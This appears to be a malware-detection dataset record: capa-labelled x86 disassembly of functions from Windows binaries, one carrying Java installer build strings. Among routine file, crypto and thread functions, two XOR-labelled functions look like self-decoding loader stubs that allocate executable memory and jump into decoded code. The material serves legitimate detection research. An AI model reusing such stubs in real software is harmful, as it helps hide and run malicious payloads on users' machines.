joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4196c8
Capabilities:
Get common file path

Disassembly:
push 0x38
mov eax, 0x44f396
call fcn.0043c7da
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x30], eax
mov esi, 0x104
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
call fcn.004140ac
mov dword [ebp - 4], edi
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
mov ebx, dword [sym.imp.kernel32.dll_GetTempPathA]
push esi
sub edi, esi
push edi
call ebx
cmp eax, edi
jbe 0x419724
mov esi, eax
lea eax, [ebp - 0x40]
call fcn.004140ac
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
push esi
sub eax, esi
push eax
call ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405b78
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0041fc9f
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00405e00
test esi, esi
je 0x419753
push esi
call fcn.00435720
pop ecx
mov eax, dword [ebp - 0x30]
call fcn.0043c85d
ret

Function at 0x419ef4
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x44ebf7
call fcn.0043c771
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.00435720
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00435720
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00435720
mov eax, esi
mov dword [esp], 0x409
call fcn.00435720
pop ecx
mov eax, esi
call fcn.0043c849
ret
Function at 0x41fd59
Capabilities:
Get file version info

Disassembly:
push 0xf0
mov eax, 0x4529a6
call fcn.0043c7da
mov eax, dword [ebp + 8]
push eax
mov esi, ebx
mov dword [ebp - 0x54], ebx
call fcn.00406f18
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 1
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x40], esi
jb 0x41fd95
mov eax, dword [ebx]
jmp 0x41fd97
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
cmp eax, esi
jne 0x41fe4f
push str.System_error
mov dword [ebp - 0x4c], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x461
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406f18
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 2
call fcn.00409bf6
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfoSize_
push eax
mov byte [ebp - 4], 3
call fcn.0040bad0
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 4
call fcn.0040b809
mov esi, eax
push 0x46140c
push esi
call fcn.0040bad0
pop ecx
pop ecx
mov ecx, dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
push esi
lea edi, [ebp - 0x60]
call fcn.0042503b
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
push ecx
lea esi, [ebp - 0x4c]
mov ecx, eax
call fcn.00419a34
lea eax, [ebp - 0x3c]
mov dword [esp], 0x466c7c
push eax
call fcn.00435720
mov esi, eax
lea eax, [ebx + 0x1c]
call fcn.0040d4f9
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x20]
sub eax, ecx
cmp dword [ebx + 0x14], 0x10
jb 0x41fe6b
mov edx, dword [ebx]
jmp 0x41fe6d
mov edx, ebx
mov edi, dword [sym.imp.version.dll_GetFileVersionInfoA]
push ecx
push eax
push dword [ebp - 0x40]
push edx
call edi
test eax, eax
jne 0x41ff0b
push str.System_error
mov dword [ebp - 0x4c], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x46a
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406f18
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 6
call fcn.00409bf6
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfo_
push eax
mov byte [ebp - 4], 7
call fcn.0040bad0
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 8
call fcn.0040b809
mov esi, eax
push 0x46140c
push esi
call fcn.0040bad0
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x60]
call fcn.0042503b
mov byte [ebp - 4], 9
jmp 0x41fe31
mov eax, ebx
call fcn.0043c85d
ret 4
Function at 0x425c35
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x120
mov eax, 0x452cd2
call fcn.0043c7da
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], eax
mov eax, esi
call fcn.00425c17
mov edi, eax
test edi, edi
jne 0x425ced
push str.cannot_find_resource
lea ecx, [ebp - 0x30]
call fcn.00405b78
and dword [ebp - 4], edi
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.00425b62
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 1
call fcn.004151a7
push str.System_error
mov byte [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [sym.imp.kernel32.dll_FindResourceA]
push eax
mov eax, esi
push eax
lea edi, [ebp - 0x90]
call fcn.0042503b
mov byte [ebp - 4], 3
mov dword [ebp - 0x84], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x41
lea ecx, [ebp - 0x58]
push ecx
lea esi, [ebp - 0x84]
mov ecx, eax
call fcn.00419a34
lea eax, [ebp - 0x58]
mov dword [esp], 0x466c7c
push eax
call fcn.00435720
mov ebx, dword [sym.imp.kernel32.dll_LoadResource]
push edi
push dword [esi + 0x40]
call ebx
test eax, eax
jne 0x425d71
push str.cannot_load_resource
lea ecx, [ebp - 0x30]
call fcn.00405b78
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.00425b62
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 5
call fcn.004151a7
push str.System_error
mov byte [ebp - 4], 6
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov eax, esi
push eax
mov ecx, ebx
lea edi, [ebp - 0x90]
call fcn.0042503b
mov byte [ebp - 4], 7
mov dword [ebp - 0x84], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x46
jmp 0x425ccc
push eax
call dword [sym.imp.kernel32.dll_LockResource]
cmp dword [esi + 0x3c], 6
mov ebx, eax
jne 0x425da1
mov esi, dword [esi + 0x1c]
and esi, 0xf
jbe 0x425d92
dec esi
movzx ecx, word [eax]
lea eax, [eax + ecx*2 + 2]
jne 0x425d88
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
add ecx, ecx
mov dword [edx], ecx
lea ebx, [eax + 2]
jmp 0x425db0
push edi
push dword [esi + 0x40]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, ebx
call fcn.0043c85d
ret 4
Function at 0x42e890
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x47162c]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x450872
call fcn.0043c771
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x42e8e6
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00435720
push 0x466f8c
mov eax, esi
push eax
call fcn.00435720
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00412f5a
push 0x462d7c
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00435720
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0042d5db
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.0041302c
push 1
lea esi, [ebp]
call fcn.0041302c
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.00434c4e
add ebp, 0x244
leave
ret

Function at 0x434c4e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47162c]
jne 0x434c58
repz ret
jmp fcn.0043ef82

Function at 0x435720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x43572f
pop dword [ebp - 0x3c]
mov eax, 0x43572f
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x4583a
push 0
mov eax, 0xb2ac0a5e
sub eax, 0xb26699aa
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xd4f6d764
add ecx, 0x2b097009
mov edx, eax
mov esi, 0x7cd87697
sub esi, 0x7c8f0897
add esi, dword [ebp - 0x3c]
mov ebx, 0xbd9bcb05
add ebx, 0x1aeac1ec
xor dword [ebp - 0x20], 0x6d405244
mov edi, dword [esi]
xor dword [ebp - 0x24], 0xbc67ab9a
add edi, ebx
sub dword [ebp - 0x28], 0x8e8faf7d
mov dword [edx], edi
mov dword [ebp - 0x1c], 0x53811c8e
add edx, 4
add esi, 4
loop 0x435789
add eax, 0x3910d088
add eax, 0xc6f03fff
xor ebx, ebx
add ebx, eax
add eax, 0xa021bc2
sub eax, 0xa021bbd
mov ecx, 0xe9d3b1ba
add ecx, 0x166c4e46
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x100806b1
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0x10], 0
jne 0x100806c3
mov eax, dword [ecx + 8]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x1008082b
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1011a647
call fcn.1011345f
mov esi, ecx
mov dword [ebp - 0x14], esi
call fcn.100757b4
xor ebx, ebx
push 0x10
mov dword [ebp - 4], ebx
mov dword [esi], vtable.ScObjects::Thread.0
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
call fcn.1010e06e
pop ecx
cmp eax, ebx
je 0x1008086f
mov dword [eax], vtable.ScObjects::ThreadData.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
jmp 0x10080871
xor eax, eax
mov dword [esi + 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push 0x10080612
push ebx
push ebx
call sub.MSVCR100.dll__beginthreadex
add esp, 0x18
cmp eax, 0xffffffff
jne 0x100808a1
mov eax, dword [esi + 8]
mov dword [esi + 0x10], 0x20
mov dword [esi + 0xc], ebx
mov dword [eax + 4], ebx
jmp 0x100808ad
mov ecx, dword [ebp - 0x10]
mov dword [esi + 0xc], ecx
mov ecx, dword [esi + 8]
mov dword [ecx + 4], eax
mov eax, esi
call fcn.10113537
ret

Function at 0x100879cc
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebx
xor ebx, ebx
cmp dword [0x1079d928], ebx
jne 0x10087a18
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
push ebx
push 1
push ebx
push ebx
mov edi, 0x1079d928
push edi
call esi
test eax, eax
jne 0x10087a16
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10087a16
push 8
push 1
push ebx
push ebx
push edi
call esi
test eax, eax
jne 0x10087a16
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [0x1079d928], ebx
pop edi
pop esi
mov eax, dword [0x1079d928]
pop ebx
ret

Function at 0x10087b24
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x2c
mov eax, 0x1011b72d
call fcn.101134c8
xor esi, esi
mov ecx, edi
mov dword [ebp - 4], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], esi
call fcn.10080ca6
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 1
call fcn.100879cc
cmp eax, esi
jne 0x10087b65
push 0xffffffffffffffff
push 0x10121c10
mov ecx, edi
call fcn.1010e06e
jmp 0x10087bab
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0xffffffffffffffff
mov ecx, edi
push 0x10121c10
test eax, eax
je 0x10087b5e
call fcn.1010e06e
movzx eax, byte [ebp + esi - 0x20]
push eax
lea eax, [ebp - 0x30]
push 0x1012e9d4
push eax
call sub.MSVCR100.dll_sprintf
lea eax, [ebp - 0x30]
push eax
push edi
call fcn.1010e06e
add esp, 0x14
inc esi
cmp esi, 0x10
jb 0x10087b84
mov eax, edi
call fcn.1011354b
ret
Function at 0x10088272
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x5c
mov eax, 0x1011b86c
call fcn.101134c8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ebx
call fcn.100879cc
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], ebx
call fcn.10080ca6
xor esi, esi
inc esi
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.10080ca6
push dword [ebp - 0x48]
mov eax, 0x1012ea64
push eax
push dword [ebp - 0x50]
mov dword [ebp - 0x4c], esi
push eax
push dword [ebp - 0x48]
push edi
call fcn.1010e06e
pop ecx
pop ecx
push eax
call fcn.1010e06e
pop ecx
pop ecx
push eax
call fcn.1010e06e
pop ecx
pop ecx
push eax
call fcn.1010e06e
pop ecx
pop ecx
push eax
call fcn.1010e06e
pop ecx
pop ecx
cmp dword [ebp - 0x44], ebx
jne 0x10088308
push 0xffffffffffffffff
push 0x10121c10
mov ecx, edi
call fcn.1010e06e
jmp 0x100883cc
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100882f5
mov ecx, dword [edi + 8]
mov eax, dword [edi + 4]
push ebx
push ecx
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100882f5
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 4
pop eax
push ebx
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x40]
push ecx
push eax
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x54], eax
call esi
test eax, eax
je 0x100882f5
push dword [ebp - 0x40]
call fcn.1010e06e
pop ecx
mov dword [ebp - 0x44], eax
cmp eax, ebx
je 0x100882f5
push ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
push 2
push dword [ebp - 0x3c]
call esi
push 0xffffffffffffffff
mov ecx, edi
push 0x10121c10
test eax, eax
jne 0x10088389
call fcn.1010e06e
jmp 0x100883c3
call fcn.1010e06e
xor esi, esi
cmp dword [ebp - 0x40], ebx
jbe 0x100883c3
cmp esi, 0x28
jae 0x100883c3
mov eax, dword [ebp - 0x44]
movzx eax, byte [esi + eax]
push eax
lea eax, [ebp - 0x38]
push 0x1012e9d4
push eax
call sub.MSVCR100.dll_sprintf
lea eax, [ebp - 0x38]
push eax
push edi
call fcn.1010e06e
add esp, 0x14
inc esi
cmp esi, dword [ebp - 0x40]
jb 0x10088395
push dword [ebp - 0x44]
call fcn.1010e06e
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x100883da
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.10080ce2
mov eax, edi
call fcn.1011354b
ret
Function at 0x10094398
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x1011da50
call fcn.1011345f
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x1015d0d4]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100925c5
xor ebx, ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
mov dword [esi], vtable.WinInterAppStream.0
call fcn.10080ca6
lea eax, [esi + 0x40]
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 1
call fcn.1010e06e
pop ecx
pop ecx
push eax
call fcn.1010e06e
push 0xc
lea edi, [esi + 0x56]
push ebx
push edi
call sub.MSVCR100.dll_memset
add esp, 0x14
mov eax, edi
xor ecx, ecx
call fcn.10094387
test al, al
je 0x1009440d
cmp dword [esi + 0x5a], ebx
je 0x1009440d
mov ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x52], eax
mov byte [ebp - 4], bl
call fcn.10080ce2
mov eax, esi
call fcn.10113537
ret 8

Function at 0x10094486
Capabilities:
Write file on windows

Disassembly:
push 0x1c
mov eax, 0x1011da7b
call fcn.1011345f
mov esi, ecx
push esi
lea ecx, [ebp - 0x18]
call fcn.100752a2
lea eax, [esi + 0x30]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.1008103f
mov eax, dword [ebp + 8]
push dword [eax + 8]
lea ecx, [ebp - 0x28]
push dword [eax + 4]
mov byte [ebp - 4], 1
call fcn.1010e06e
mov eax, dword [esi + 0x5a]
push ebx
push 0x80
add esi, 0x56
neg eax
push 3
sbb eax, eax
and eax, esi
push eax
push 1
push 0x40000000
push dword [ebp - 0x24]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x10], ebx
cmp edi, 0xffffffff
je 0x10094524
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
push ebx
lea edx, [ebp - 0x10]
push edx
push eax
push ecx
push edi
call dword [sym.imp.kernel32.dll_WriteFile]
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp + 8], ebx
je 0x10094524
mov esi, dword [esi + 8]
mov byte [ebp + 0xb], 1
cmp dword [ebp - 0x10], esi
je 0x10094527
mov byte [ebp + 0xb], bl
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call fcn.10080ce2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.100752d5
mov al, byte [ebp + 0xb]
call fcn.10113537
ret 8
Function at 0x100f867b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x100f86fe
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x100f86c8
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x100f86c8
cmp edi, ebx
jge 0x100f86c8
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x100f86f8
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x100f86f8
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x100f8710
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x100f89a6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x1079d9e8], al
je 0x100f89dd
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x100f8a41
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1010e06e
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1010e06e
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.1010e06e
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10113450
leave
ret 0x10

Function at 0x100f8a52
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1079d9e8], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x100f8a7e
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x100f8aaf
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x100f8aad
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1010e06e
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x100f8aaf
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10113450
leave
ret 8
Function at 0x100f8b4a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1079d9e8], 0
mov eax, dword [ebp + 8]
je 0x100f8b72
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x100f8b8c
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1010e06e
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10113450
leave
ret 4
Function at 0x1010402d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
xor edi, edi
cmp dword [eax + 0x254], edi
je 0x10104089
cmp dword [eax + 0x264], edi
je 0x1010416f
cmp byte [0x1079d9e8], 0
push eax
push dword [eax + 0x250]
je 0x10104076
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x1010407c
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x264], eax
jmp 0x1010416f
mov eax, dword [eax + 0x25c]
cmp eax, edi
je 0x10104209
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.MSVCR100.dll_wcscpy]
mov eax, dword [esi]
pop ecx
pop ecx
cmp dword [eax + 0x260], edi
je 0x101040d5
lea eax, [ebp - 0x234]
push eax
call fcn.1010e06e
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.MSVCR100.dll_wcscat]
add esp, 0xc
mov eax, dword [esi]
mov cl, byte [eax + 0x268]
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
and ecx, 0xffffff90
sub ecx, 0xffffff80
mov dword [eax], ecx
cmp byte [0x1079d9e8], 0
je 0x10104109
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x1010412b
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.1010e06e
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
mov eax, dword [esi]
xor ecx, ecx
cmp dword [eax + 0x250], 0xffffffff
setne cl
mov dword [eax + 0x264], ecx
mov eax, dword [esi]
cmp dword [eax + 0x264], edi
jne 0x10104157
mov dword [eax + 0x250], edi
mov ecx, dword [esi]
xor eax, eax
inc eax
mov dword [ecx + 0x254], eax
mov ecx, dword [esi]
cmp dword [ecx + 0x264], edi
jne 0x1010416f
mov dword [esi + 4], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], edi
je 0x10104191
cmp byte [0x1079d9e8], 0
jne 0x10104191
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.1010e06e
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [eax + 0x26c], ecx
mov edx, dword [esi]
mov ebx, dword [edx + 0x26c]
mov ecx, ebx
shr ecx, 4
and ecx, 1
je 0x101041c6
push esi
xor ecx, ecx
call fcn.1010e06e
cmp word [eax], 0x2e
je 0x101041cf
test byte [edx + 0x268], 3
jne 0x101041d2
jmp 0x101041cf
test byte [edx + 0x268], 1
je 0x101041d2
xor ecx, ecx
inc ecx
cmp dword [edx + 0x264], edi
je 0x101041eb
cmp ecx, edi
jne 0x10104046
test bl, 2
jne 0x10104046
mov eax, edx
xor ecx, ecx
cmp dword [eax + 0x264], edi
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10113450
leave
ret 4
xor al, al
jmp 0x101041f8
Function at 0x1010e06e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1010e07d
pop dword [ebp - 0x50]
mov eax, 0xdb10af4c
add eax, 0x35003131
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x757e00b8
sub dword [ebp - 0x60], 0x272bbb6d
mov dword [ebp - 0x5c], 0x88e9b5cf
add dword [ebp - 0x5c], 0xa9499676
mov dword [ebp - 0x58], 0x2f2c005a
add dword [ebp - 0x58], 0x1d2043d4
mov dword [ebp - 0x54], 0x28d5ecad
sub dword [ebp - 0x54], 0x28d5ecad
lea eax, [ebp - 0x60]
push eax
mov eax, 0x7fb92e7d
sub eax, 0x6fa71ba1
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8203b9f4
add dword [ebp - 0x60], 0xf26eaf62
mov dword [ebp - 0x5c], 0xd922e104
add dword [ebp - 0x5c], 0x68498071
mov dword [ebp - 0x58], 0xe5fe85b7
sub dword [ebp - 0x58], 0x828f194b
mov dword [ebp - 0x54], 0xf2634a91
sub dword [ebp - 0x54], 0xf2634a91
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x12c8a633
sub eax, 0x2b69363
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x66c72
push 0
call eax
mov ecx, 0x8067aad2
sub ecx, 0x80676894
mov edx, eax
mov esi, 0xff0b918e
sub esi, 0xee901d8e
add esi, dword [ebp - 0x50]
mov ebx, 0xc660cd00
sub dword [ebp - 0x24], 0x8303e53d
mov edi, dword [esi]
sub dword [ebp - 0x1c], ebx
xor edi, ebx
sub dword [ebp - 8], 0x86b00b52
mov dword [edx], edi
add dword [ebp - 0x4c], 0x92f5095a
add edx, 4
add esi, 0x618c8de6
add esi, 0x9e73721e
loop 0x1010e199
add eax, 0x1ee953ad
add eax, 0xe117a81e
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x10113450
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101631e0]
jne 0x1011345a
repz ret
jmp fcn.10113f88